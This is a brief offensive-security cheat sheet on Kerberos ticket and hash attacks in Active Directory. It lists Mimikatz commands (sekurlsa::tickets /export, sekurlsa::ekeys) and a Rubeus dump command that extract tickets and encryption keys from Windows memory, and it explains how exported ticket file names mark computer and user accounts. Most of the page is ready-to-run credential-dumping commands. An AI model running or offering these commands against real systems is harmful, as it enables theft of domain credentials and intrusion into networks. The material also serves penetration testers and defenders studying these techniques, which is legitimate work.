Ticket/Hash Attacks
Exporting Tickets
Mimikatz
sekurlsa::tickets /export
or if don't work try
sekurlsa::ekeys
The tickets ending with a $ symbol represent the computer account, which requires a ticket to communicate with the AD. User tickets, on the other hand, include the user's name, followed by an @ symbol that separates the service name and the domain. For example: [randomvalue]-username@service-domain.local.kirbi.
Rubeus
Rubeus.exe dump /nowrap
Last updated